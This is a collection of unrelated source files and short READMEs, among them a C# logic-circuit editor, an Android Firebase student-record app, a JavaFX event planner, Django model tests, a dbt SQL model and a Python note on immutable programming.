if (i.x<x && x<i.x+70 && i.y+50>y && y>i.y)
{
if (firstSelectedId==null)
{
firstSelectedId = i;
break;
}
else if(firstSelectedId!=null && secondSelectedId !=null)
{
firstSelectedId = i;
secondSelectedId = null;
break;
}
else if (firstSelectedId != null)
{
secondSelectedId = i;
break;
}
else if(firstSelectedId==secondSelectedId)
{
ClearSelecter();
break;
}
}
}
}
if (conntrue == true && secondSelectedId != null)//if there is a second selected element and the connection button was pressed adds a connection
{
AddConnection(conntrue);
ClearSelecter();
return true;
}
return false;
}
public int FindElement(int x,int y)// Finds the element located at position x,y
{
foreach (IElement i in elements)
{
if (!(i is Connection))
{
if (i.x < x && x < i.x + 70 && i.y + 50 > y && y > i.y)
return i.id;
}
}
return 0;
}
public int FindConnection(int x,int y)
{
foreach(IElement i in elements)
if(i is Connection)
{
if (((Connection)i).CheckIfPointIsOnConnection(x, y) == true)
return i.id;
}
return 0;
}
public void ClearSelecter() // it clears the first selected element and the second selected element
{
firstSelectedId = null;
secondSelectedId = null;
}
public void Draw(Graphics e)//draws all the elements in the list of elements
{
foreach(IElement i in elements)
{
i.Drawing(e);
}
}
public void DrawLast(Graphics e) // draws the last element in the element list
{
if(elements.Count!=0)
elements[elements.Count-1].Drawing(e);
}
public Boolean AddConnection(bool conntrue)//adds a connection
{
IElement newconnection;
newconnection = new Connection(GetId(), firstSelectedId.id, secondSelectedId.id, firstSelectedId.x, firstSelectedId.y, secondSelectedId.x, secondSelectedId.y);
elements.Add(newconnection);
RefreshConnections();
return true;
}
public Boolean AddElement(TypeOfElement newelement,int mousex,int mousey)//it creates an element based on the new element desired by the user
{
if (newelement == TypeOfElement.SOURCE)
{
Source newsource = new Source(GetId(), mousex, mousey);
elements.Add(newsource);
return true;
}
else if (newelement == TypeOfElement.ANDGATE)
{
AND newand = new AND(GetId(), mousex, mousey);
elements.Add(newand);
return true;
}
else if(newelement==TypeOfElement.NOTGATE)
{
NOT newnot = new NOT(GetId(), mousex, mousey);
elements.Add(newnot);
return true;
}
else if(newelement==TypeOfElement.ORGATE)
{
OR newor = new OR(GetId(), mousex, mousey);
elements.Add(newor);
return true;
}
else if(newelement==TypeOfElement.SINK)
{
Sink newsink = new Sink(GetId(), mousex, mousey);
elements.Add(newsink);
return true;
}
return false;
}
public Boolean MoveElement(int id, int x, int y)// moves the element with selected ID to the new location marked by x, y
{
if (id != 0)
{
searchmoveelement = elements.Find(search => search.id == id);
searchmoveelement.MoveElement(x, y);
UpdateConnectionsToMovedElement();
}
return false;
}
public void UpdateConnectionsToMovedElement()// after the element moves we also need to update all the connections.
{
foreach (IElement i in elements)
{
if (i is Connection)
{
if (((Connection)i).GetFrontID() == searchmoveelement.id)
((Connection)i).UpdateFrontHead(searchmoveelement.x, searchmoveelement.y);
else if (((Connection)i).GetEndID() == searchmoveelement.id)
((Connection)i).UpdateEndHead(searchmoveelement.x, searchmoveelement.y);
}
}
}
//Added parameter
public Boolean RemoveConnection(int id)// after a removing an element we remove all the connections associated with it.
{
for (int j = 0; j <= elements.Count;j++ )
{
foreach (IElement i in elements)
{
if (i is Connection)
{
if (((Connection)i).GetEndID() == id || ((Connection)i).GetFrontID() == id)
{
elements.Remove(i);
break;
}
}
}
}
return true;
}
public Boolean RemoveElement(int id)// removes an element from the list
{
RemoveConnection(id);
removedelement=elements.Find(x => x.id == id);
elements.Remove(elements.Find(x=>x.id==id));
return true;
}
public void AssignColor(Color conntrue,Color connfalse, Color connunknown) // assigns the custom colors to the default ones
{
cTrue = conntrue;
cFalse = connfalse;
connunknown = connfalse;
}
public void UpdateUndoRedo() // updates the undo redo element list.
{
undo_redo.Update(elements);
}
//Changes logic value of a source
public Boolean ChangeLogicValue(int id, int value)
{
bool output = false;
if (IsSource(id))
output = ((Source)elements.
Find(x => x.id == id)).
SetValue(value);
return output;
}
public bool IsSource(int id)
{
if (elements.Find(x => x.id == id) is Source)
return true;
else
return false;
}
/// <summary>
///
/// </summary>
/// <param name="x">x coordinate</param>
/// <param name="y">y coordinate</param>
/// <param name="conntrue"></param>
/// <returns>selected item's id or -1 if there is no element in the area</returns>
public int GetSelectedId(int x, int y, bool conntrue)
{
int id = -1;
if (!conntrue)
foreach (IElement i in elements)
if (!(i is Connection))
if (i.x < x && x < i.x + 70 && i.y + 50 > y && y > i.y)
id = i.id;
return id;
}
/// <summary>
/// Refreshes all output connections
/// </summary>
/// <param name="frontID"></param>
public void rfr(int frontID)
{
IElement item;
foreach (IElement e in elements)
if (e is Connection)
{
item = elements.Find(x => x.id == ((Connection)e).GetFrontID());
if(((Connection)e).SetValue(item.Output()))
elements.Find(x => x.
id == ((Connection)e).endID).SetInput(item.Output());
}
}
public void RefreshConnections()
{
IElement item;
foreach (IElement e in elements)
{
if (e is Source)
{
foreach (IElement i in elements)
if (i is Connection && (((Connection)i).GetFrontID() == e.id))
{
//get item that's at the front of the connection
item = elements.Find(x => x.id == ((Connection)i).GetFrontID());
if (((Connection)i).SetValue(item.Output()))
elements.Find(x => x.
id == ((Connection)i).endID).SetInput(item.Output(), ((Connection)i).GetFrontID());
}
foreach (IElement i in elements)
if (i is Connection && !(((Connection)i).GetFrontID() == e.id))
{
item = elements.Find(x => x.id == ((Connection)i).GetFrontID());
if (((Connection)i).SetValue(item.Output()))
elements.Find(x => x.
id == ((Connection)i).endID).SetInput(item.Output(), ((Connection)i).GetFrontID());
}
}
}
//foreach (IElement e in elements)
//{
// if (!(e is Source))
// {
// foreach (IElement i in elements)
// if (i is Connection && (((Connection)i).GetFrontID() == e.id))
// {
// //get item that's at the front of the connection
// item = elements.Find(x => x.id == ((Connection)i).GetFrontID());
// if (((Connection)i).SetValue(item.Output()))
// elements.Find(x => x.
// id == ((Connection)i).endID).SetInput(item.Output(), ((Connection)i).GetFrontID());
// }
// foreach (IElement i in elements)
// if (i is Connection && !(((Connection)i).GetFrontID() == e.id))
// {
// item = elements.Find(x => x.id == ((Connection)i).GetFrontID());
// if (((Connection)i).SetValue(item.Output()))
// elements.Find(x => x.
// id == ((Connection)i).endID).SetInput(item.Output(), ((Connection)i).GetFrontID());
// }
// }
//}
}
public List<IElement> Elements
{
get { return elements; }
set { elements = value; }
}
}
}
|
C | UTF-8 | 1,745 | 3.296875 | 3 | [] | no_license | #include <stdio.h>
static char digits[] = "0123456789abcdef";
/*
* mac_addr_to_str()
*
* Converts an ethernet MAC address from hex to a
* xx:xx:xx:xx:xx:xx string
extern char *
mac_addr_to_str (const short *mac_addr, mac_string_t mac_str)
{
#define MAX_LOCAL_BUFFER 2
static mac_string_t local_buffer[MAX_LOCAL_BUFFER];
static uint32_t local_index = 0;
char *start_buffer;
if (mac_str) {
start_buffer = mac_str;
} else {
start_buffer = local_buffer[local_index];
local_index++;
if (local_index >= MAX_LOCAL_BUFFER) {
local_index = 0;
}
}
#undef MAX_LOCAL_BUFFER
if (mac_addr) {
char *cp;
int i;
cp = start_buffer;
for (i = 0; i < 6; i++) {
*cp++ = digits[*mac_addr >> 4];
*cp++ = digits[*mac_addr++ & 0xf];
*cp++ = ':';
}
*--cp = 0;
}
return (start_buffer);
}
*/
/*
* buffer_to_str()
*
* Convert a series of bytes to a string
*/
const char *
buffer_to_str (const char *bytes, unsigned int length)
{
#define BUFFER_LENGTH 150
static char buffer[BUFFER_LENGTH];
if (bytes) {
char *cp;
unsigned int i;
cp = buffer;
length/=8;
for (i = 0; (i < sizeof(buffer)) && (i < length); i++) {
*cp++ = digits[*bytes >> 4];
*cp++ = digits[*bytes++ & 0xf];
}
if (i == sizeof(buffer)) {
*--cp = 0;
*--cp = '$';
} else {
*cp = 0;
}
}
printf("%s\n", buffer);
#undef BUFFER_LENGTH
return (buffer);
}
int main()
{
unsigned int intBuf = 0;
printf("str:%s\n", buffer_to_str((char *) &intBuf, 32));
}
|
Java | UTF-8 | 5,426 | 2.015625 | 2 | [] | no_license | package com.example.crudmhs;
import android.app.ProgressDialog;
import android.content.Intent;
import android.os.Bundle;
import android.os.PersistableBundle;
import android.util.Log;
import android.view.ContextMenu;
import android.view.LayoutInflater;
import android.view.MenuInflater;
import android.view.MenuItem;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ListView;
import android.widget.PopupMenu;
import android.widget.Toast;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;
import androidx.recyclerview.widget.DefaultItemAnimator;
import androidx.recyclerview.widget.LinearLayoutManager;
import androidx.recyclerview.widget.RecyclerView;
import com.example.crudmhs.adapter.MyAdapter;
import com.example.crudmhs.model.Mahasiswa;
import com.google.android.gms.tasks.OnSuccessListener;
import com.google.firebase.database.DataSnapshot;
import com.google.firebase.database.DatabaseError;
import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;
import com.google.firebase.database.ValueEventListener;
import java.util.ArrayList;
import java.util.List;
public class ListActivity extends AppCompatActivity {
private static final String TAG = "ListActivity";
private DatabaseReference dataMahasiswa;
private ArrayList<Mahasiswa> daftarMhs;
private MyAdapter myAdapter;
private ListView listView;
private ProgressDialog loading;
LayoutInflater inflater1;
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.list_mhs);
dataMahasiswa = FirebaseDatabase.getInstance().getReference();
listView = (ListView) findViewById(R.id.lvMhs);
loading = ProgressDialog.show(ListActivity.this,null,"Please Wait",true,false);
dataMahasiswa.child("Mahasiswa").addValueEventListener(new ValueEventListener() {
@Override
public void onDataChange(@NonNull DataSnapshot dataSnapshot) {
daftarMhs = new ArrayList<>();
for (DataSnapshot noteDataSnapshot : dataSnapshot.getChildren()) {
Mahasiswa mhs = noteDataSnapshot.getValue(Mahasiswa.class);
mhs.setKey(noteDataSnapshot.getKey());
daftarMhs.add(mhs);
}
myAdapter = new MyAdapter(ListActivity.this,R.layout.item_mhs,daftarMhs);
listView.setAdapter(myAdapter);
loading.dismiss();
}
@Override
public void onCancelled(@NonNull DatabaseError databaseError) {
System.out.println(databaseError.getDetails()+" "+databaseError.getMessage());
loading.dismiss();
}
});
registerForContextMenu(listView);
}
@Override
public void onCreateContextMenu(ContextMenu menu, View v, ContextMenu.ContextMenuInfo menuInfo) {
super.onCreateContextMenu(menu, v, menuInfo);
MenuInflater inflater = getMenuInflater();
inflater.inflate(R.menu.popup_menu,menu);
}
@Override
public boolean onContextItemSelected(@NonNull MenuItem item) {
AdapterView.AdapterContextMenuInfo info = (AdapterView.AdapterContextMenuInfo) item.getMenuInfo();
int index = info.position;
switch (item.getItemId()){
case R.id.itemDetail:{
Intent intent = new Intent(this,DetailActivity.class);
Mahasiswa selec = daftarMhs.get(index);
intent.putExtra("id",selec.getKey());
intent.putExtra("nama",selec.getNama());
intent.putExtra("nim",selec.getNim());
intent.putExtra("semester",selec.getSemester());
intent.putExtra("ipk",selec.getIpk());
startActivity(intent);
break;
}
case R.id.itemUpdate:{
Intent intent = new Intent(this,MainActivity.class);
Mahasiswa selec = daftarMhs.get(index);
intent.putExtra("id",selec.getKey());
intent.putExtra("nama",selec.getNama());
intent.putExtra("nim",selec.getNim());
intent.putExtra("semester",selec.getSemester());
intent.putExtra("ipk",selec.getIpk());
startActivity(intent);
break;
}
case R.id.itemDelete:{
dataMahasiswa.child("Mahasiswa").child(daftarMhs.get(index).getKey()).removeValue().addOnSuccessListener(this, new OnSuccessListener<Void>() {
@Override
public void onSuccess(Void aVoid) {
loading.dismiss();
Toast.makeText(ListActivity.this,"Data berhasil di hapus",Toast.LENGTH_SHORT).show();
}
});
break;
}
}
return super.onContextItemSelected(item);
}
public void addMhs(View view) {
Intent intent = new Intent(this,MainActivity.class);
intent.putExtra("id","");
intent.putExtra("nama","");
intent.putExtra("nim","");
intent.putExtra("semester",0);
intent.putExtra("ipk",0);
startActivity(intent);
}
}
|
Markdown | UTF-8 | 864 | 2.640625 | 3 | [] | no_license | # tp1-FacianoHE
*1.
b)
- Es conveniente incluir .gitignore porque el peso total de proyecto será mucho menor y eso redundará en un mejor mantenimiento y distribución del código.
- Siempre es conveniente usarlo.
- Una alternativa sería escribir las siguientes palabras clave: OSX, Windows, Node, Polymer, SublimeText.
Escribes cada una de las palabras y pulsas la tecla enter para ir creando los "chips".
Una vez generado el código de tu gitignore, ya solo te queda copiarlo y pegarlo en tu archivo .gitignore, en la raíz de tu proyecto.
*2.
- El resultado es el mismo porque en ii imprime la dirección de memoria almacenada en "punt" y en iii imprime la dirección de memoria de º "punt" almacenada en x.
- El punto 4 obtiene la dirección de memoria de "punt".
- No es igual a los anteriores.
- Porque es la ubicación física de la variable "punt".
|
C++ | UTF-8 | 1,731 | 2.75 | 3 | [
"BSD-2-Clause"
] | permissive |
#include "FSGD.h"
namespace DBoW3 {
void FSGD::meanValue(const std::vector<FSGD::pDescriptor> &descriptors,
FSGD::TDescriptor &mean)
{
mean = cv::Mat::zeros(1, FSGD::L, CV_32F);
float s = descriptors.size();
std::vector<FSGD::pDescriptor>::const_iterator it;
for(it = descriptors.begin(); it != descriptors.end(); ++it)
{
const FSGD::TDescriptor &desc = **it;
float* p_mean = mean.ptr<float>(0);
const float* p_desc = desc.ptr<float>(0);
for(int i = 0; i < FSGD::L; i += 4)
{
p_mean[i ] += p_desc[i ] / s;
p_mean[i+1] += p_desc[i+1] / s;
p_mean[i+2] += p_desc[i+2] / s;
p_mean[i+3] += p_desc[i+3] / s;
}
}
}
float FSGD::distance(const TDescriptor &a, const TDescriptor &b)
{
cv::Mat disMat = a - b;
float dist = cv::norm(disMat);
float d2 = dist * dist;
return d2;
}
std::string FSGD::toString(const FSGD::TDescriptor &a)
{
std::stringstream ss;
for(int i = 0; i < FSGD::L; ++i)
{
ss << a.at<float>(i) << " ";
}
return ss.str();
}
void FSGD::fromString(FSGD::TDescriptor &a, const std::string &s)
{
a = cv::Mat::zeros(1, FSGD::L, CV_32F);
std::stringstream ss(s);
for(int i = 0; i < FSGD::L; ++i)
{
ss >> a.at<float>(i);
}
}
void FSGD::toMat32F(const std::vector<TDescriptor> &descriptors,
cv::Mat &mat)
{
if(descriptors.empty())
{
mat.release();
return;
}
const int N = descriptors.size();
const int L = FSGD::L;
mat.create(N, L, CV_32F);
for(int i = 0; i < N; ++i)
{
const TDescriptor& desc = descriptors[i];
float *p = mat.ptr<float>(i);
const float* p_desc = desc.ptr<float>(0);
for(int j = 0; j < L; ++j, ++p)
{
*p = p_desc[j];
}
}
}
} // namespace DBoW3
|
Java | UTF-8 | 9,182 | 1.835938 | 2 | [] | no_license | /*Copyright 2016 stoneriver
*
*Licensed under the Apache License, Version 2.0 (the "License");
*you may not use this file except in compliance with the License.
*You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
*Unless required by applicable law or agreed to in writing, software
*distributed under the License is distributed on an "AS IS" BASIS,
*WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*See the License for the specific language governing permissions and
*limitations under the License.
*/
package com.github.stoneriver.onkyoplanner;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.util.Properties;
import java.util.ResourceBundle;
import com.github.stoneriver.onkyohelper.Event;
import com.github.stoneriver.onkyohelper.OnkyoHelperCollections;
import com.github.stoneriver.onkyohelper.Plan;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.event.ActionEvent;
import javafx.fxml.FXML;
import javafx.fxml.Initializable;
import javafx.scene.control.Alert;
import javafx.scene.control.Alert.AlertType;
import javafx.scene.control.Button;
import javafx.scene.control.Control;
import javafx.scene.control.Menu;
import javafx.scene.control.MenuItem;
import javafx.scene.control.TableColumn;
import javafx.scene.control.TableColumn.CellEditEvent;
import javafx.scene.control.TableView;
import javafx.scene.control.TextField;
import javafx.scene.control.cell.PropertyValueFactory;
import javafx.scene.control.cell.TextFieldTableCell;
public class OnkyoPlannerController implements Initializable {
//変数宣言
//プラン・ファイル
private Plan plan;
private File file;
//イベントリスト
private ObservableList<Event> eventList;
@FXML
private TableView<Event> tableView;
@FXML
private TableColumn<Event, Integer> columnEventNum;
@FXML
private TableColumn<Event, String> columnEventName;
@FXML
private TableColumn<Event, Integer> columnEventStart;
//イベント追加
@FXML
private TextField fieldNewEventName;
@FXML
private TextField fieldNewEventStart;
@FXML
private Button buttonGenerateEvent;
//メニュー
@FXML
private MenuItem menuItemExport;
@FXML
private Menu menuOpen;
private MenuItem menuItemUpdate;
private MenuItem menuItemNew;
@FXML
private MenuItem menuItemAbout;
//関数宣言
//初期化関数
@Override
public void initialize(URL location, ResourceBundle resources) {
initializeEventList();
initializeNewEventField();
initializeMenuUpdate();
initializeMenuOpen();
onMenuItemUpdateAction();
setDisableAll(true);
}
private void initializeMenuOpen() {
menuItemNew = new MenuItem(Messages.getString("OnkyoPlannerController.New")); //$NON-NLS-1$
menuItemNew.setOnAction((ActionEvent e) -> {
onMenuItemNewAction();
});
}
private void initializeMenuUpdate() {
menuItemUpdate = new MenuItem(Messages.getString("OnkyoPlannerController.Update")); //$NON-NLS-1$
menuItemUpdate.setOnAction((ActionEvent e) -> {
onMenuItemUpdateAction();
});
}
private void initializeEventList() {
eventList = FXCollections.observableArrayList();
columnEventNum.setCellValueFactory(new PropertyValueFactory<>("Num")); //$NON-NLS-1$
columnEventName.setCellValueFactory(new PropertyValueFactory<>("Name")); //$NON-NLS-1$
columnEventName.setCellFactory(TextFieldTableCell.<Event> forTableColumn());
columnEventName.setOnEditCommit((CellEditEvent<Event, String> t) -> {
((Event) t.getTableView().getItems().get(
t.getTablePosition().getRow())
).setName(t.getNewValue());
});
columnEventStart.setCellValueFactory(new PropertyValueFactory<>("Start")); //$NON-NLS-1$
tableView.setItems(eventList);
tableView.setEditable(true);
}
private void initializeNewEventField() {
fieldNewEventName.setText(""); //$NON-NLS-1$
fieldNewEventStart.setText(""); //$NON-NLS-1$
}
//クラス関数
private void loadPlan(String property) {
initializeEventList();
try {
file = new File(property);
plan = new Plan(property, false);
} catch (IOException e) {
e.printStackTrace();
}
eventList.addAll(plan.getEvents());
setDisableAll(false);
}
private Control[] getAllControls() {
Control[] result = {
tableView,
fieldNewEventName,
fieldNewEventStart,
buttonGenerateEvent
};
return result;
}
private MenuItem[] getAllMenuItemDisablelize() {
MenuItem[] result = {
menuItemExport
};
return result;
}
private void setDisableAll(boolean b) {
for (Control c : getAllControls()) {
c.setDisable(b);
}
for (MenuItem m : getAllMenuItemDisablelize()) {
m.setDisable(b);
}
}
//イベント関数
@FXML
private void generateNewEvent() {
String newEventName = fieldNewEventName.getText();
int newEventStart;
if (fieldNewEventStart.getText().equals("")) { //$NON-NLS-1$
newEventStart = 0;
} else {
newEventStart = Integer.valueOf(fieldNewEventStart.getText());
}
initializeNewEventField();
eventList.addAll(
new Event(eventList.size(), "無音", 0, false), //$NON-NLS-1$
new Event(eventList.size() + 1, newEventName, newEventStart, false));
}
@FXML
private void onMenuItemExportAction() {
InputStream iStream = null;
Properties p = new Properties();
try {
iStream = new FileInputStream(file);
p.load(iStream);
} catch (FileNotFoundException e2) {
e2.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
p.setProperty("eventCount", String.valueOf(eventList.size())); //$NON-NLS-1$
for (int i = 0; i < eventList.size(); i++) {
Event e = eventList.get(i);
String num = String.valueOf(i);
String name = e.getName();
if (name.startsWith("無音")) { //$NON-NLS-1$
name = "null"; //$NON-NLS-1$
}
p.setProperty("event" + num + "Name", name); //$NON-NLS-1$ //$NON-NLS-2$
p.setProperty("event" + num + "Start", String.valueOf(e.getStart())); //$NON-NLS-1$ //$NON-NLS-2$
}
try {
p.store(new FileOutputStream(file), null);
} catch (FileNotFoundException e1) {
e1.printStackTrace();
Alert a = new Alert(AlertType.ERROR);
a.setHeaderText(Messages.getString("OnkyoPlannerController.ExportFailureHeaderText")); //$NON-NLS-1$
a.setContentText(Messages.getString("OnkyoPlannerController.ExportFailureContentText1") //$NON-NLS-1$
+ Messages.getString("OnkyoPlannerController.ExportFailureContentText2") //$NON-NLS-1$
+ Messages.getString("OnkyoPlannerController.ExportFailureContentText3") + file.getName()); //$NON-NLS-1$
a.show();
} catch (IOException e1) {
e1.printStackTrace();
}
Alert a = new Alert(AlertType.INFORMATION);
a.setHeaderText(Messages.getString("OnkyoPlannerController.ExportSuccessHeaderText")); //$NON-NLS-1$
a.setContentText(Messages.getString("OnkyoPlannerController.ExportSuccessContentText1") //$NON-NLS-1$
+ Messages.getString("OnkyoPlannerController.ExportSuccessContentText2") + file.getName()); //$NON-NLS-1$
a.show();
}
private void onMenuItemNewAction() {
File f = new File(Messages.getString("OnkyoPlannerController.DefaultNewFileName")); //$NON-NLS-1$
try {
if (!f.createNewFile()) {
Alert a = new Alert(AlertType.WARNING);
a.setHeaderText(Messages.getString("OnkyoPlannerController.FileGenerateFailureHeaderText")); //$NON-NLS-1$
a.setContentText(Messages.getString("OnkyoPlannerController.FileGenerateFailureContentText1") //$NON-NLS-1$
+ Messages.getString("OnkyoPlannerController.FileGenerateFailureContentText2")); //$NON-NLS-1$
a.show();
}
} catch (IOException e) {
e.printStackTrace();
}
Properties p = new Properties();
p.setProperty("eventCount", "0"); //$NON-NLS-1$ //$NON-NLS-2$
try {
p.store(new FileOutputStream(f), null);
} catch (Exception e1) {
e1.printStackTrace();
}
}
private void onMenuItemUpdateAction() {
menuOpen.getItems().clear();
String[] plans = OnkyoHelperCollections.findAllPlans();
for (String s : plans) {
MenuItem item = new MenuItem(s);
item.setOnAction((ActionEvent e) -> {
loadPlan(s);
});
menuOpen.getItems().add(item);
}
menuOpen.getItems().add(menuItemNew);
menuOpen.getItems().add(menuItemUpdate);
}
@FXML
private void onMenuItemAboutAction() {
Alert a = new Alert(AlertType.INFORMATION);
a.setHeaderText(Messages.getString("OnkyoPlannerController.About0")); //$NON-NLS-1$
a.setContentText(Messages.getString("Main.Version") + "\n" //$NON-NLS-1$ //$NON-NLS-2$
+ Messages.getString("OnkyoPlannerController.About1") //$NON-NLS-1$
+ Messages.getString("OnkyoPlannerController.About2") //$NON-NLS-1$
+ Messages.getString("OnkyoPlannerController.About3")); //$NON-NLS-1$
a.show();
}
}
|
TypeScript | UTF-8 | 912 | 2.78125 | 3 | [] | no_license |
import { Injectable , EventEmitter} from "@angular/core";
import { LogService } from "../shared/log.service";
@Injectable() // Permite a Injeccao de Dependencia em outra classe que necessite
export class CursosService {
private cursos: string[] = ['Java 14', 'Quarkus', "Angular2 v.11"];
emitirCursoCriado = new EventEmitter();
static criouNovoCurso = new EventEmitter(); // Static => nao precisa instanciar para acessa-lo
constructor(private logService: LogService){
console.log("Construtor da CursoService")
}
getCursos() {
this.logService.consoleLog("Pegando a Lista de Cursos")
return this.cursos;
}
addCurso(curso: string){
this.logService.consoleLog(`Criando um novo curso de nome : ${curso}`);
this.cursos.push(curso);
//this.emitirCursoCriado.emit(curso);
CursosService.criouNovoCurso.emit(curso);
}
} |
Python | UTF-8 | 2,818 | 3.078125 | 3 | [] | no_license | #!coding=utf-8
from sklearn.datasets import make_blobs
from sklearn.model_selection import train_test_split
import numpy as np
import h5py
import math
def convert_to_one_hot(label, classes): # label -->> one-hot
label = np.array(label)
label = np.eye(classes)[label.reshape(-1)]
return label
def generate_data():
data,label = make_blobs(n_samples=10000, n_features=4, centers=12, random_state=0)
train_x, test_x, train_y, test_y = train_test_split(data, label, test_size=0.2)
file = h5py.File('data/data_set.h5','w')
file.create_dataset('train_x',data = train_x)
file.create_dataset('train_y',data = train_y)
file.create_dataset('test_x', data = test_x)
file.create_dataset('test_y', data = test_y)
file.close()
def read_data(path):
filename = path + 'data_set.h5'
file = h5py.File(filename,'r')
train_x = file['train_x'][:]
train_y = file['train_y'][:]
test_x = file['test_x'][:]
test_y = file['test_y'][:]
train_y = convert_to_one_hot(train_y,12)
test_y = convert_to_one_hot(test_y,12)
print(train_x.shape,train_y.shape)
print(test_x.shape,test_y.shape)
return train_x,train_y,test_x,test_y
def random_mini_batches(X, Y, mini_batch_size = 64, seed = 0):
m = X.shape[0] # number of training examples
mini_batches = []
np.random.seed(seed)
# Step 1: Shuffle (X, Y)
permutation = list(np.random.permutation(m))
shuffled_X = X[permutation,:]
shuffled_Y = Y[permutation,:]
#shuffled_Y = Y[permutation,:].reshape((m,Y.shape[1]))
# Step 2: Partition (shuffled_X, shuffled_Y). Minus the end case.
num_complete_minibatches = math.floor(m/mini_batch_size) # number of mini batches of size mini_batch_size in your partitionning
for k in range(0, num_complete_minibatches):
mini_batch_X = shuffled_X[k * mini_batch_size : k * mini_batch_size + mini_batch_size,:]
mini_batch_Y = shuffled_Y[k * mini_batch_size : k * mini_batch_size + mini_batch_size,:]
mini_batch = (mini_batch_X, mini_batch_Y)
mini_batches.append(mini_batch)
# Handling the end case (last mini-batch < mini_batch_size)
if m % mini_batch_size != 0:
mini_batch_X = shuffled_X[num_complete_minibatches * mini_batch_size : m,:]
mini_batch_Y = shuffled_Y[num_complete_minibatches * mini_batch_size : m,:]
mini_batch = (mini_batch_X, mini_batch_Y)
mini_batches.append(mini_batch)
return mini_batches
if __name__=="__main__":
path='data/'
generate_data()
train_x,train_y,test_x,test_y = read_data(path)
mini_batches = random_mini_batches(train_x,train_y)
print(len(mini_batches))
for minibatch in mini_batches:
minibatch_X, minibatch_Y = minibatch
print(minibatch_X.shape,minibatch_Y.shape)
|
C# | UTF-8 | 1,434 | 2.71875 | 3 | [] | no_license | using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Collections.ObjectModel;
namespace Gallery.Behaviours.ListViewItemContextMenuBehaviour
{
public class ListViewItemContextMenuBehaviourViewModel : GalleryItemViewModel
{
public ListViewItemContextMenuBehaviourViewModel()
{
Title = "ListViewItemContextMenuBehaviour";
People.Add(new PersonViewModel() { FirstName = "Homer", LastName = "Simpson" });
People.Add(new PersonViewModel() { FirstName = "Marge", LastName = "Simpson" });
People.Add(new PersonViewModel() { FirstName = "Bart", LastName = "Simpson" });
People.Add(new PersonViewModel() { FirstName = "Lisa", LastName = "Simpson" });
People.Add(new PersonViewModel() { FirstName = "Maggie", LastName = "Simpson" });
}
/// <summary>
/// The People observable collection.
/// </summary>
private ObservableCollection<PersonViewModel> PeopleProperty =
new ObservableCollection<PersonViewModel>();
/// <summary>
/// Gets the People observable collection.
/// </summary>
/// <value>The People observable collection.</value>
public ObservableCollection<PersonViewModel> People
{
get { return PeopleProperty; }
}
}
}
|
Markdown | UTF-8 | 680 | 2.875 | 3 | [] | no_license | # WordPress主题:Writing
这是一个简洁的WordPress博客主题,为专注写作而设计。
## 主要特色
- Bootstrap4;
- 自适应,支持PC、Pad、手机端;
- 支持八种主题配色:白、浅灰、蓝、浅蓝、黑、绿、橙、红;
- 支持设置背景色和背景图片;
- 两栏设计;
- 定制的标签云小工具:可设置显示标签数量;
- 定制高级文章小工具;
- 标签云页面模板、全宽页面模板;
- 支持文章形式:标准、图像、日志、状态、链接、引语、相册;
- 除了文章形式自带不同样式,列表支持有图、无图、大图(对应文章形式:图像)等多种样式;
|
Python | UTF-8 | 2,132 | 2.6875 | 3 | [] | no_license | from django.test import TestCase
from .models import TechType, Product, Review
from django.urls import reverse
from django.contrib.auth.models import User
# Create your tests here.
#TEST FOR MODELS
class TechTypeTest(TestCase):
def test_str(self):
#we are saying that the techtype name is laptop
#to make sure it's right, it has to return "laptop"
#this is creating an instance of the TechType, putting the 'laptop' on the techtypename variable
type=TechType(techtypename='laptop')
self.assertEqual(str(type), type.techtypename)
def test_table(self):
self.assertEqual(str(TechType._meta.db_table), 'techtype')
class ProductTest(TestCase):
def setUp(self):
self.type=TechType(techtypename='tablet')
self.prod=Product(productname='Ipad', techtype=self.type, productprice=800.00)
def test_str(self):
self.assertEqual(str(self.prod), self.prod.productname)
def test_type(self):
self.assertEqual(str(self.prod.techtype), 'tablet')
def test_discount(self):
self.assertEqual(self.prod.memberDiscount(), 40.00)
#TEST FOR VIEWS
class IndexTest(TestCase):
def test_view_url_accessible_by_name(self):
#check this later
#inverse imported from django.urls
response = self.client.get(reverse('index'))
#200 means everything is good!
self.assertEqual(response.status_code, 200)
class GetProductsTest(TestCase):
def setUp(self):
self.u = User(username='myUser')
#you can write it like this (just the name of the class)
self.type = TechType(techtypename = 'laptop')
#or like this, (with .object.create)
self.prod = Product.objects.create(productname = 'product1', techtype=self.type, user=self.u, productprice=500.00, productentrydate='2019-04-02', productdescription='lalalalala lalalaal')
def test_product_detail_success(self):
response=self.client.get(reverse('product', args=(self.prod.id,)))
self.assertEqual(response.status_code, 200) |
SQL | UTF-8 | 509 | 2.921875 | 3 | [] | no_license | with base as (
select *
from {{ source('marketo','activity_merge_leads') }}
), fields as (
select
id as activity_id,
_fivetran_synced,
activity_date as activity_timestamp,
activity_type_id,
campaign_id,
lead_id,
master_updated,
trim(trim(merge_ids,']'),'[') as merged_lead_id,
merge_source,
merged_in_sales,
primary_attribute_value,
primary_attribute_value_id
from base
)
select *
from fields |
Markdown | UTF-8 | 2,424 | 3.484375 | 3 | [
"BSD-2-Clause"
] | permissive | immutable
=========
generic functions to support immutable functional programming idioms
[](https://travis-ci.org/fcostin/py-immutable)
### motivation
* state makes things harder to reason about.
* most of the time you don't need state, values work fine.
### nomenclature
* by "value" we mean an immutable value, i.e., a value is something that doesn't change
### suggestions
* prefer values (ie immutable values) over mutable objects
* prefer functions over methods
* prefer namespaces of related functions (in modules) over classes
* prefer treating a non-value as if it were a value
* prefer namedtuples over tuples (readability)
* prefer pure functions over side-effecting functions
These are merely suggestions, not blanket rules.
### refactoring patterns:
* smell: object has mutable state
+ factor out state into value type T
+ methods can now be functions T -> T
* smell: function mutates an argument
+ treat argument as immutable
+ return a modified copy instead
